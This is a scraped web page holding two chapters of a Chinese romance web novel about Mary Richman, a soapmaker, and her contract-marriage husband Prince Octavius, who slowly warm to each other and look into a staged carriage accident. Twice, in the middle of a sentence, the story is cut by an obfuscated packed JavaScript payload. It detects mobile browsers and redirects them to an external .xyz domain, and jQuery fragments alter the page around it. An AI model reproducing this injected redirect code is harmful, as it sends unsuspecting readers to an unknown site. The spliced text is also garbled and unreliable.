公爵的女继承人、国王长女、年轻富有的刚失去丈夫的公爵夫人，单单这几位就足够让威尔士亲王感到威胁。毕竟威尔士王妃除了是威尔士亲王的表妹外，什么都没有，没钱也没权。对方还跟他分居了，一点忙都帮不上。 果然不到一个月，他父亲看好的妻子人选陆续都回绝了联姻的要求。 因为不是正式提出的，这件事一开始知道的人并不多。只是后面经过有心人的宣传，大家都知道了英格兰的剑桥公爵奥克塔维厄斯王子被拒婚的消息。 然后，多年前的事情又被翻出来。这一回传播更广，周边的王室也都知道了。 这样一来，他未来能娶到公主妻子的可能性几乎没有。毕竟没有一位公主希望自己的丈夫是一个杀人犯，还是一个在8岁的时候就动手的惯犯！ 奥克塔维厄斯想到了以前，无声地笑了出来。 他的国王父亲为此愧疚，甚至允许他自己找妻子！只要对方不是天主教的，不是寡妇，也不是私生女，就可以。 之后几个月，闹剧就此上演。眼看着贵族小姐们都挑剔完了，国王有些着急，就限定了一个时间。 那一天，奥克塔维厄斯其实不是去拦里奇曼小姐的。她的马车只是正好来了，而当时的他也快没了耐心。于是，才有了面包房的老板也就是胖管家追着他的那一幕。 就是那么恰好，里奇曼小姐给了钱，也算是符合了要求。后面的调查很快就有了结果，奥克塔维厄斯一看，除了没有贵族身份外，这位小姐自身的条件比其他人好多了。 她不仅能自己照顾自己，她甚至还照顾了她的父母。没有漂亮的裙子，没有昂贵的首饰，她的生活中只有家里的200英亩土地。 当然这些还不值得他上门，去了梅里顿的人回来说，里奇曼小姐更不热衷于舞会。去年她所在的小村庄不远，就来了两个英俊富有的单身汉。他们举办舞会，还邀请了附近所有的人，两人的未婚妻就是在舞会里认识的。 偏偏，里奇曼小姐没有去。 未婚妻小姐们就住在隔壁，她没有羡慕，更没有嫉妒，还一心扑在那200英亩土地里，并准时将做好的手工皂交给从伦敦来的商人们。 她不想结婚吗？可她父亲的私人银行已经破产了，人也跑了，她一个人以后怎么生活？想来想去，奥克塔维厄斯就决定上门一趟。 上了门，他就知道自己来对了。 他需要一个妻子，而她需要一个丈夫，很完美。 照理说，一切都和之前协商的一样，奥克塔维厄斯只需要偶尔过来露个面，就算是完成了身为丈夫的义务。 所以，他在不满什么？又在后悔什么？ “好了，我这边做完了。”将皂液全部倒入模具后，玛丽用木板盖上保温。然后她拿来干净的布擦掉工具上的残留，并把后者放置到通风处。 “还不走吗？”回头看了一眼没跟上来的人，他不会是觉得好玩，也想上手试试吧？ “来了。”奥克塔维厄斯不知道该怎么形容自己现在的心情，他更不知道自己在想什么。 刚刚的整个过程，他从头到尾耐心看完了，还一点不觉得烦。甚至他能继续看下去，只因为他觉得心里平静。 是因为做皂的过程，还是因为这个人？ 他要弄明白。 “嗯，我要关门了。”做完皂后，洗漱是必不可少的，所以玛丽来到了二楼自己的房间。但她没想到，有人也跟了上来，还跟到了她的房门口！ “抱歉，我在想事情。”奥克塔维厄斯后退了两步，就这么看着门在眼前关上。 不，他根本就没在想事情！怎么跟来的，更是一点印象都没有。问题是越来越多了，前面的答案他都没有找到，新的问题又冒了出来。 或许一会儿，他该找他的妻子谈谈。 房间里，玛丽用洗干净的手拍了拍脸。她需要冷静一点，因为在她看来有人已经失态了。 如果说叫名字不代表什么，那么刚才在工作间的长时间注视呢？或许是她多想了，对方并没有别的意思。他可能只是觉得好奇，所以才看得认真了点。 那么他刚才跟着上来，跟到房门口的举动，又算什么呢？ 在玛丽的印象中，这位艾提斯先生虽然有那么一点强势，但还是会顾及到身边人的。 当初商定结婚合同的具体条款时，他基本都同意了她的要求。有意见不合的地方，也是对方退让的比较多。 像是今天提出的建议，要给外面围栅栏加门的，也是事先征求了她的意见。 所以，他到底怎么了？总不至于是另一个玛丽跑来家里，刺激了他吧？ 换了一个围裙后，玛丽慢慢走下楼去。 “玛丽，我们聊聊。”看到人下来，奥克塔维厄斯觉得问题需要解决。 “好啊，去窗边吧。”外面正在下雨，雨水打在窗户上，在一定程度上能防止偷听，“你想聊什么？” “就聊聊最近吧，你一切都好吗？”窗外黑乎乎的，什么都看不见，奥克塔维厄斯只能看到雨水滑落在窗上的痕迹。 “还不错，你呢？”里奇曼先生和里奇曼太太的离开，并没有给玛丽造成多大的影响。说清楚了银行抵押的事情后，梅里顿的人也不会找她麻烦。 虽然和军团的土豆生意黄了，但她在伦敦找到了更好的出路。现在又和军团做起了肥皂生意，又把关系给续上了。 总的来说，玛丽最近过得挺滋润。过得不好的人也有，那就跟她没有关系。 “我刚忙完了一件事，接下来可以休息几天。”奥克塔维厄斯不是很确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723189|173925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定地提出了自己的想法，“到时候，可以让我在一旁看着吗？那个过程看着很舒服，能让人安静下来。”多看几次，或许就能找出问题在哪里！ “明天不做皂，主要是熬油脂。你要是也感兴趣的话，可以看。”一会儿见到了贝茜和茉莉，得跟她们说一声。 “明天什么时候开始？” “上午8点吧，我们会熬好几个小时。”期间还可以做点别的事，比如准备薄荷汁等。 玛丽还以为要聊什么呢，结果就是这个？她有点失望，但也是可以理解的。两人毕竟不熟，别的也没什么好说的，就这样吧。 “对了，稍早前的那个女孩，她这样跑出去会影响你在这里的生活吗？”找不到什么话题，奥克塔维厄斯提到了另一个玛丽。 “不会，她的影响力还没有这么大。”有过上次的面对面，这回人虽然来了，也碰到了，可对方除了瞪一眼外，什么都没有留下。 “那就好，我不想——” “先生太太，该用餐了。”管家威廉正在餐厅忙碌，所以是叫的仆人过来。仆人一看两人话都说得差不多了，就叫了人。 “你不想什么？”玛丽没听到后面的话。 “没什么，只是不想给你添麻烦。”眼前的人可是说过的，他这张脸就是麻烦。 “暂时算不上，走吧，去用餐。”没想到自己说过的话还被人记住了，玛丽笑了一下，带头前往餐厅。 餐厅里的样子虽然没有那天的夸张，但也没有朴素到哪里去。不过偶尔来一次，玛丽还是接受良好的。 用完了餐，也跟贝茜和茉莉说好了明天工作间会多一个人的事，她就去三楼忙一会儿，算是消食。 第二天依旧有雨，这对做皂来说不是什么好消息。好在制皂间在室内，受影响的因素都还算可控。 “这猪板油你是多少钱一磅买来的？”看着热烘烘的猪油锅，奥克塔维厄斯早就换上了旧衣服，在那里搅和搅和。没错，他最终还是上了手。 这工作又不是很难，他能行的。 “屠宰场那边一开始给的价是1便士1磅，后来我需要的量多了，就变成了2便士3磅。”梅里顿小镇是没有这么多的猪板油可以长期供货的，那是屠宰场联系了周边地区后才能供得上。 玛丽这边要货稳定，加上一个月后的活猪都要拉去屠宰场，这点猪板油她还是能平价拿到手。 “倒是挺便宜的，不过，你就这么告诉我了？”不怕他是别人派来的商业间谍吗？ “怎么，难道你还要切断我的板油货源吗？”每次的货也就不到两三英镑，他会看得上？玛丽头都没抬，继续往铜熔锅里加切好的板油块。 贝茜和茉莉知道今天只是熬油脂，就主动去了三楼翻面。多了一个人在，她们还是不习惯。 “这可说不定。”奥克塔维厄斯的手不断搅拌着，对于这一锅自己亲手熬出来的猪油，他还是很有成就感的。这份工作其实很单调，但身边有一个人说说话，时间就能过得很快。 “那就试试看。”玛丽当然知道这是在开玩笑。 制皂间只剩下两人后，一开始大家都有点不习惯。开了口以后就停不下来了，什么都能说，说着说着就把距离说没了。 “试试就试试，让我先想想办法。”这件事要真做，最简单的就是拿钱买。要是不想出钱的，也可以找人搞破坏。 制皂所需的猪板油要求还是挺高的，连那些筋膜都要去掉，这要是有心人—— “太太，太太，不好了！我们的运货马车翻了！” 15.第 15 章 昨天晚上下了大雨，所以托马斯和亨德森两人一路上都走得很小心，就怕马车上运回来的600磅猪板油出问题。好不容易回到了朗伯恩，这眼看着就要到了，还算平整的路面突然就陷进去了一块！ 好在货框绑得牢，猪板油没有事！ 有事的是货运马车，两个车轮都陷在了坑里，一下子拉不出来。于是托马斯就冒雨跑回去求救，得先让人将马车上的猪板油搬下来，这样才能减轻重量。 “我去叫老约翰他们，顺便把家里的马车也拉过去。”玛丽听完了事发经过，很快就做出了决定，“这里还需要人，你继续，我很快会回来的。” 跟名义上的丈夫说了一声，玛丽就朝门厅跑去，那里有她的雨具。 一会儿后人手齐了，出发！ 听着众人离开的动静，奥克塔维厄斯只等了不到两分钟，管家威廉就出现在了门口。 “威廉，去叫那两个女仆过来接手。”他也想去看看，到底发生了什么？才说到可能出问题，这问题就来了，也太凑巧了一点。 奥克塔维厄斯早就不信巧合，就连当初里奇曼小姐出现在那里，也是被反复调查过好几遍的。遇到的事情多了，他总要确保自己不会上当受骗。 教训和经验一次两次就够了，再多就是他自己蠢！ 当人过去时，那辆运货马车已经被拉了上来，刚刚搬下的货框又重新被放了上去。 “回去吧，回去后好好烤烤火，都别着凉了。”玛丽撑着伞，没有坐上回去的马车。她说都出来了，就在雨中走走。 其实，她是在看路面上的这个坑。 这是唯一一条进出朗伯恩的可以通行马车的路，上回威克汉姆夫妇就是在附近争论的。这条路路况虽然不是特别好，但也没差到突然塌陷的地步！ 之前运了那么多的土豆都没有问题，难道一晚上的雨就能毁了路基？ 玛丽不信，在用脚踢了坑边的部分后，她更加怀疑这是人为的。 常年制皂，她的力气并不小，可都这么用力了，脚下的地方也没什么动静，这还不能说明问题吗？只是她没有证据，也没看到这附近遗留下来的作案工具。 “需要帮忙吗？”奥克塔维厄斯在不远处已经看了一会儿，看懂了以后，他才上前，“放心，熬油脂的事已经有人接手了。” “你想怎么帮？”既然没有耽误事，那就留下来说说。说不定她忽略的部分，有人想到了呢。 “打听一下昨天你回来之后都有谁出过门，差不多就能知道了。”奥克塔维厄斯回来的时候，一点没发现这条路有什么不对。除去眼前这个可能的受害人，其他人都有嫌疑。 “这可是一个大工程。”如果对方只是针对她的，那么玛丽已经有了怀疑的对象，“过两天你还在吗？在的话，陪我去一趟教堂吧，牧师会在那里布道。”到时候要打听什么，也方便一些。 “在的，我这个月剩下的日子都在，要提前练习一下吗？”要是两人都去了，这就会是艾提斯夫妇婚后第一次一起露面。 “你还需要练习？”偷面包的贼都能做了，只是打听一些事，难度并不大。 “我说的是你，玛丽。”奥克塔维厄斯停了下来，他撑着伞转身看向和自己并排的妻子，“看，你并不习惯我这么叫你。可是在外人眼里，我们已经结婚了，我们还有一个比较浪漫的初见。” “好吧，你想怎么练习？”朗伯恩是个小村庄，整个村庄加上佃户也就几百口人。现在是冬天，又是下雨天，基本没人会出来。也就是说，这条路上现在只剩下她和他。 玛丽被这么注视着，确实不太习惯。幸好她的手撑着伞，可以稍微遮挡一下。 “就从叫我的名字开始吧，你可以直接叫我‘塔维’。”这是奥克塔维厄斯的昵称，小时候听人说，他的母亲曾经就是这么叫他的。可惜，他完全没有印象。 这有点太亲近了！班纳特太太每天都是“班纳特先生、班纳特先生”这样叫，她不行吗？ 玛丽拿着伞的手稍稍抬高了一点，她看到了对面艾提斯先生的等待。除此之外，他脸上并没有多余的表情。所以，是她想多了。 “塔维。”那就叫吧，又不能代表什么。 雨幕中，这个名字的音节很快响起又消失。玛丽叫完就觉得自己的声音太轻了点，于是再叫一遍，以免有人没听清。 “塔维！”确定身边的人听到了以后，她还让说下感受，“会太生硬吗？塔维？”这回自然很多了吧。 “挺好的，之后就这么叫我。叫习惯了，出去以后才不会有人怀疑。”“塔维”奥克塔维厄斯转过身继续向前，他虽然嘴上说着平静的话，其实内心是震动的。 一个再简单不过的称呼，他却觉得两人之间的关系拉近了很多。刚才的短短几秒钟之间，玛丽从质疑到叫出口，她适应得很快。或许在她看来这没有什么，但在奥克塔维厄斯这里，却代表着不同的意思。 他想，这场婚姻变成事实婚姻也没什么不好的。 玛丽足够独立，也足够聪明，不管遇到什么她都能很好面对。这样的人，这样的妻子，相处起来不会很难。 奥克塔维厄斯承认，他太长时间一个人了，有点孤独。既然已经结了婚，把妻子变成事实，把她变成一个真正陪伴在身边的人，没什么不好。 只要两人达成共识，感情是可以慢慢培养的。 唯一不好的是，他还不知道该怎么开口。 毕竟当初是他自己说过的，妻子不在他未来的规划里。这话也才说了一个多月，这么快就改变了想法，能让人信服吗？ “玛丽，如果我说我想做你真正的丈夫，想和你一直走下去，你会相信吗？”到了里奇曼家门口，奥克塔维厄斯趁着这里没别人，把已经在心里想了好几遍的话问出口。 玛丽没有听清，不，她听清了，只是觉得不可思议！ “嗯，是什么改变了你的想法？”这人在之前还说得那样肯定，说他只是需要一个妻子来占位！ 虽然没把话说死，但在她看来名义婚姻要变成事实，估计只有哪天她被诱惑了，才可能成就这个事实。事后要是双方感觉都还不错的，身体上的交流可以继续。 玛丽真没有想到，这个问题会这么快需要面对。她更加没有想到的是，刚才才让她叫了昵称的男人就这样把话说出来了！ “说实话，一时之间我也说不清。或许是现在的雨下得刚刚好，也或许是我看懂了你刚才没跟着一起回来的原因。”奥克塔维厄斯将伞举高，露出了他全部的脸，“你知道的，除了两个妹妹外，我跟家里的关系不好。” “我独孤太久了，有时候也会觉得疲倦。这回的婚姻我本来只是想找一个不会有麻烦的妻子，但这个人是你。” “玛丽，你比18岁时候的我冷静多了。没有尖叫，也没有晕倒， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15733206|173925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自从认识你以来，我感觉到了久违的平静。” “不管是看着你制皂，还是帮着你熬油，我觉得我能一直看下去，也能一直和你说下去。” “玛丽，考虑一下吧。”奥克塔维厄斯被人这么盯着，有点说不下去了，“我知道我的脸还不错，如果你会因为我的脸答应下来，那么这张脸也算是有点用处了。” 说到最后，他还调侃了一下他自己。 “能给我一点时间考虑吗？我要好好想想。”如果说刚才让叫名字时候的男人是面无表情的，那么此时的他神情不要太丰富！ 那双幽蓝色的眼睛即便是在蒙蒙细雨中，都能让人看到藏在里面的认真。 玛丽因为怕自己迟早会对这张脸有想法，所以之前总不敢长时间地看过去。现在她看了，仔仔细细看了，那藏在心底的想法一点一点地冒了出来。 这要换做以前，身边出现了这么一个单身的男人，她肯定会打听清楚出手的。即便对方有很多缺点，但脸好啊！看在脸的份上，其他的都能先靠边。 换了个时空，玛丽不得不谨慎起来。可两人已经结婚了，最差的结果，也不过是分道扬镳。 相比其他，这是最无害，也是最能接受的。 “当然，你好好想想。”奥克塔维厄斯知道自己说得突然，他肯定不会催促。 “我会尽快给你答复的，伞给你，我去制皂间了。”将收起来的伞往旁边一递，玛丽直接走上了通往制皂间的廊道。 她觉得这时候的自己已经有一半点了头，剩下的那一半，是理智在挣扎。交给时间决定吧，如果她在人离开前是情感占了上风，那就答应他！ 来到这时代已经够不幸的，补给她一个男人又怎么了？只要不耽误赚钱，那就不是问题。 行了，别盯着她了，她要关门了。 看着门关上，奥克塔维厄斯这才低头看手中的伞，这算是积极的信号吗？她把伞递过来的动作，再顺手不过！ 算吧，至少这是一件需要他“帮忙”的事。 “不用，我自己来。”看着威廉过来，男人下意识地就将伞握紧了，“威廉，在这里的很多事，我以后都会自己做。”就像是手中的这把伞，他要自己放回伞桶里。 嗯，把他的那把也放进去，就放在旁边。 管家威廉看了一会儿，确定自己没看明白后，也不管了。有时候他的殿下就会做一些奇奇怪怪的事，他早该习惯的。 只是到了这天的用餐时间，他发现殿下和太太似乎更熟悉了一些？之前殿下去帮忙了，难道这么短的时间里两人就有很多话可以说？这说的，也不是很明白啊。 “到时候，我们就说‘初见’。”用餐结束，两人基本达成了共识，是关于去教堂的。 “嗯，那关于‘初见’，你还有什么需要补充的吗？”奥克塔维厄斯点了头，他知道怎么做。 “那天我从里奇曼私人银行回来的路上，马车不小心碰到了你。然后，我就看呆了，这世界上怎么会有这么完美的一张脸！”玛丽将原来的版本又微调了一下，“可惜，那时候的碰面实在是太短暂了。” “一周过去，我一直在找这个钱包的主人。没想到那天来到了梅里顿，就恰好看到了你被人围住的那一幕。”奥克塔维厄斯笑着接上，毕竟他还记得当时里奇曼小姐的马车被拦下后，她有多着急想离开。 “然后，你就找上了门来。”